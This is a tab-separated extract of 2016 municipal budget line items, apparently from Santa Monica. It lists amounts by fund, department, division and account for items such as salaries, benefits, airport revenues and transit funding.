19902	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2016	1519	0	0	0	0	0	0	0	0	0	0	0	1519
19903	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2016	319	0	0	0	0	0	0	0	0	0	0	0	319
19904	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	1631	0	0	0	0	0	0	0	0	0	0	0	1631
19905	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	1770	0	0	0	0	0	0	0	0	0	0	0	1770
19906	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578310.0	POLICE BEACH PATROL	810.0	 Supplies and Expenses	2016	441847	0	0	0	0	0	0	0	0	0	0	0	441847
19907	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578470.0	GROUNDSKEEPING TRANSFER	810.0	 Supplies and Expenses	2016	87398	0	0	0	0	0	0	0	0	0	0	0	87398
19908	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2016	46200	0	0	0	0	0	0	0	0	0	0	0	46200
19909	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	50260	0	0	0	0	0	0	0	0	0	0	0	50260
19910	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	294788	0	0	0	0	0	0	0	0	0	0	0	294788
19911	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DCAP	804.0	Salaries and Wages	2016	790	0	0	0	0	0	0	0	0	0	0	0	790
19912	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	5174	0	0	0	0	0	0	0	0	0	0	0	5174
19913	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DCAP	804.0	Salaries and Wages	2016	720	0	0	0	0	0	0	0	0	0	0	0	720
19914	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566570.0	PERSONNEL EXAM EXPENSES	804.0	 Supplies and Expenses	2016	69570	0	0	0	0	0	0	0	0	0	0	0	69570
19915	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	76066	0	0	0	0	0	0	0	0	0	0	0	76066
19916	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522720.0	MILEAGE	804.0	 Supplies and Expenses	2016	260	0	0	0	0	0	0	0	0	0	0	0	260
19917	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2016	19266	0	0	0	0	0	0	0	0	0	0	0	19266
19918	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19919	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19920	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	16829	0	0	0	0	0	0	0	0	0	0	0	16829
19921	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511810.0	TUITION REIMBURSEMENT	804.0	Salaries and Wages	2016	59083	0	0	0	0	0	0	0	0	0	0	0	59083
19922	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EAP	804.0	Salaries and Wages	2016	1244	0	0	0	0	0	0	0	0	0	0	0	1244
19923	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588090.0	FURNITURE & FURNISHINGS	808.0	 Supplies and Expenses	2016	6100	0	0	0	0	0	0	0	0	0	0	0	6100
19924	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2016	156825	0	0	0	0	0	0	0	0	0	0	0	156825
19925	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	66884	0	0	0	0	0	0	0	0	0	0	0	66884
19926	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555940.0	GRAD NIGHT SUBSIDY	810.0	 Supplies and Expenses	2016	8752	0	0	0	0	0	0	0	0	0	0	0	8752
19927	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2016	1588	0	0	0	0	0	0	0	0	0	0	0	1588
19928	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407720.0	ENCLOSURE PLAN CHECK FEES	650.0	Charges for Service	2016	-64600	0	0	0	0	0	0	0	0	0	0	0	-64600
19929	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT-ADMIN		 Supplies and Expenses	2016	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
19930	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		YEAR-END CASH OUTS	816.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19931	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	54640	0	0	0	0	0	0	0	0	0	0	0	54640
19932	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	7080	0	0	0	0	0	0	0	0	0	0	0	7080
19933	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		UNEMPLOYMENT	804.0	Salaries and Wages	2016	2494	0	0	0	0	0	0	0	0	0	0	0	2494
19934	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EAP	804.0	Salaries and Wages	2016	425	0	0	0	0	0	0	0	0	0	0	0	425
19935	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DCAP	804.0	Salaries and Wages	2016	288	0	0	0	0	0	0	0	0	0	0	0	288
19936	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	5290	0	0	0	0	0	0	0	0	0	0	0	5290
19937	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	20172	0	0	0	0	0	0	0	0	0	0	0	20172
19938	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	195874	0	0	0	0	0	0	0	0	0	0	0	195874
19939	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511490.0	OVERTIME	804.0	Salaries and Wages	2016	1673	0	0	0	0	0	0	0	0	0	0	0	1673
19940	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	4381	0	0	0	0	0	0	0	0	0	0	0	4381
19941	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511749.0	VISION	804.0	Salaries and Wages	2016	448	0	0	0	0	0	0	0	0	0	0	0	448
19942	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	80992	0	0	0	0	0	0	0	0	0	0	0	80992
19943	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	577970.0	INSURANCE ADMIN	804.0	 Supplies and Expenses	2016	63859	0	0	0	0	0	0	0	0	0	0	0	63859
19944	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	4579	0	0	0	0	0	0	0	0	0	0	0	4579
19945	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTEWATER	405490.0	PARCEL TAX ASSESSMENT	606.0	Other Local Taxes	2016	-3126543	0	0	0	0	0	0	0	0	0	0	0	-3126543
19946	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	13534	0	0	0	0	0	0	0	0	0	0	0	13534
19947	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
19948	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522630.0	OFFICE RENT	804.0	 Supplies and Expenses	2016	145000	0	0	0	0	0	0	0	0	0	0	0	145000
19949	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2016	-78160	0	0	0	0	0	0	0	0	0	0	0	-78160
19950	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19951	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2016	571	0	0	0	0	0	0	0	0	0	0	0	571
19952	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		MEDICAL-RETIREE	806.0	Salaries and Wages	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
19953	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	407930.0	GARDENSOFT WEBSITE PARTNR FUND	612.0	Charges for Service	2016	-3750	0	0	0	0	0	0	0	0	0	0	0	-3750
19954	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EAP	804.0	Salaries and Wages	2016	319	0	0	0	0	0	0	0	0	0	0	0	319
19955	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	2583	0	0	0	0	0	0	0	0	0	0	0	2583
19956	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	44074	0	0	0	0	0	0	0	0	0	0	0	44074
19957	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555030.0	EMPLOYEE MEDICAL EXAMS	804.0	 Supplies and Expenses	2016	39312	0	0	0	0	0	0	0	0	0	0	0	39312
19958	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1181102	0	0	0	0	0	0	0	0	0	0	0	1181102
19959	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	80000	0	0	0	0	0	0	0	0	0	0	0	80000
19960	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401580.0	RECYCLED MATERIALS	662.0	Other	2016	-463700	0	0	0	0	0	0	0	0	0	0	0	-463700
19961	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407060.0	KEC TENANT RENTALS	618.0	Rentals	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19962	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569221.0	MADISON PROJECT	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19963	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566880.0	EXPLORER POST	806.0	 Supplies and Expenses	2016	4783	0	0	0	0	0	0	0	0	0	0	0	4783
19964	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402161.0	NOISE ABATEMENT - AIRPORT	662.0	Other	2016	-36000	0	0	0	0	0	0	0	0	0	0	0	-36000
19965	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402170.0	LANDING FEES	650.0	Charges for Service	2016	-1200000	0	0	0	0	0	0	0	0	0	0	0	-1200000
19966	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2016	1141	0	0	0	0	0	0	0	0	0	0	0	1141
19967	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	7418	0	0	0	0	0	0	0	0	0	0	0	7418
19968	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	21273	0	0	0	0	0	0	0	0	0	0	0	21273
19969	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	62965	0	0	0	0	0	0	0	0	0	0	0	62965
19970	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	1246	0	0	0	0	0	0	0	0	0	0	0	1246
19971	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	256132	0	0	0	0	0	0	0	0	0	0	0	256132
19972	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DCAP	804.0	Salaries and Wages	2016	854	0	0	0	0	0	0	0	0	0	0	0	854
19973	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	3823	0	0	0	0	0	0	0	0	0	0	0	3823
19974	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	8671	0	0	0	0	0	0	0	0	0	0	0	8671
19975	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19976	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	566120.0	EMPLOYEE SERVICE AWARDS	804.0	 Supplies and Expenses	2016	31015	0	0	0	0	0	0	0	0	0	0	0	31015
19977	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407400.0	STATE RECYCLING PROGRAM	662.0	Other	2016	-55200	0	0	0	0	0	0	0	0	0	0	0	-55200
19978	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER		 Supplies and Expenses	2016	-60000	0	0	0	0	0	0	0	0	0	0	0	-60000
19979	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DCAP	816.0	Salaries and Wages	2016	1574	0	0	0	0	0	0	0	0	0	0	0	1574
19980	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2016	2961	0	0	0	0	0	0	0	0	0	0	0	2961
19981	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19982	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511749.0	VISION	804.0	Salaries and Wages	2016	1772	0	0	0	0	0	0	0	0	0	0	0	1772
19983	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		UNEMPLOYMENT	804.0	Salaries and Wages	2016	6789	0	0	0	0	0	0	0	0	0	0	0	6789
19984	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	2800	0	0	0	0	0	0	0	0	0	0	0	2800
19985	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511749.0	VISION	804.0	Salaries and Wages	2016	1492	0	0	0	0	0	0	0	0	0	0	0	1492
19986	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	5310	0	0	0	0	0	0	0	0	0	0	0	5310
19987	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2016	3131	0	0	0	0	0	0	0	0	0	0	0	3131
19988	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2016	1788	0	0	0	0	0	0	0	0	0	0	0	1788
19989	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	2907	0	0	0	0	0	0	0	0	0	0	0	2907
19990	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2016	1038	0	0	0	0	0	0	0	0	0	0	0	1038
19991	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2016	1038	0	0	0	0	0	0	0	0	0	0	0	1038
19992	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511749.0	VISION	816.0	Salaries and Wages	2016	3237	0	0	0	0	0	0	0	0	0	0	0	3237
19993	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402100.0	AIRPORT - FUEL SALES	650.0	Charges for Service	2016	-297715	0	0	0	0	0	0	0	0	0	0	0	-297715
19994	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402110.0	AIRPORT - HANGAR RENTAL	650.0	Charges for Service	2016	-26813	0	0	0	0	0	0	0	0	0	0	0	-26813
19995	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402162.0	FILMING RECEIPTS	662.0	Other	2016	-15760	0	0	0	0	0	0	0	0	0	0	0	-15760
19996	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-45000	0	0	0	0	0	0	0	0	0	0	0	-45000
19997	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2016	134730	0	0	0	0	0	0	0	0	0	0	0	134730
19998	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2016	127504	0	0	0	0	0	0	0	0	0	0	0	127504
19999	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2016	3803	0	0	0	0	0	0	0	0	0	0	0	3803
20000	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522720.0	MILEAGE		 Supplies and Expenses	2016	306	0	0	0	0	0	0	0	0	0	0	0	306
20001	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	9921	0	0	0	0	0	0	0	0	0	0	0	9921
20002	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1494612	0	0	0	0	0	0	0	0	0	0	0	1494612
20003	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	241936	0	0	0	0	0	0	0	0	0	0	0	241936
20004	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	313690	0	0	0	0	0	0	0	0	0	0	0	313690
20005	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EAP	804.0	Salaries and Wages	2016	1263	0	0	0	0	0	0	0	0	0	0	0	1263
20006	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	5375	0	0	0	0	0	0	0	0	0	0	0	5375
20007	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	810982	0	0	0	0	0	0	0	0	0	0	0	810982
20008	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	172498	0	0	0	0	0	0	0	0	0	0	0	172498
20009	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	2009	0	0	0	0	0	0	0	0	0	0	0	2009
20010	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	5857	0	0	0	0	0	0	0	0	0	0	0	5857
20011	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	10818	0	0	0	0	0	0	0	0	0	0	0	10818
20012	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511690.0	OUTSIDE TEMP AGENCY EMPLOYEES	804.0	Salaries and Wages	2016	28597	0	0	0	0	0	0	0	0	0	0	0	28597
20013	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2016	5436	0	0	0	0	0	0	0	0	0	0	0	5436
20014	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2016	38590	0	0	0	0	0	0	0	0	0	0	0	38590
20015	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		UNEMPLOYMENT	816.0	Salaries and Wages	2016	11875	0	0	0	0	0	0	0	0	0	0	0	11875
20016	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402130.0	AIRPORT - LAND LEASE	650.0	Charges for Service	2016	-1410962	0	0	0	0	0	0	0	0	0	0	0	-1410962
20017	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402160.0	AIRPORT - MISCELLANEOUS REV	662.0	Other	2016	-2596	0	0	0	0	0	0	0	0	0	0	0	-2596
20018	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2016	12390	0	0	0	0	0	0	0	0	0	0	0	12390
20019	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522950.0	CNG FUEL		 Supplies and Expenses	2016	4887	0	0	0	0	0	0	0	0	0	0	0	4887
20020	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2016	430998	0	0	0	0	0	0	0	0	0	0	0	430998
20021	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577050.0	PROPERTY TAXES		 Supplies and Expenses	2016	9538	0	0	0	0	0	0	0	0	0	0	0	9538
20022	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	316008	0	0	0	0	0	0	0	0	0	0	0	316008
20023	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DCAP	808.0	Salaries and Wages	2016	1150	0	0	0	0	0	0	0	0	0	0	0	1150
20024	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	4364	0	0	0	0	0	0	0	0	0	0	0	4364
20025	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	2077	0	0	0	0	0	0	0	0	0	0	0	2077
20026	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20027	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2016	1086	0	0	0	0	0	0	0	0	0	0	0	1086
20028	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	10830	0	0	0	0	0	0	0	0	0	0	0	10830
20029	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405830.0	MEASURE R - OPERATING	658.0	Sales Tax	2016	-7840118	0	0	0	0	0	0	0	0	0	0	0	-7840118
20030	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2016	5867	0	0	0	0	0	0	0	0	0	0	0	5867
20031	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511748.0	DENTAL		Salaries and Wages	2016	9257	0	0	0	0	0	0	0	0	0	0	0	9257
20032	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2016	11433	0	0	0	0	0	0	0	0	0	0	0	11433
20033	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522510.0	COMMUNITY OUTREACH		 Supplies and Expenses	2016	20084	0	0	0	0	0	0	0	0	0	0	0	20084
20034	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	6146	0	0	0	0	0	0	0	0	0	0	0	6146
20035	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2016	2714	0	0	0	0	0	0	0	0	0	0	0	2714
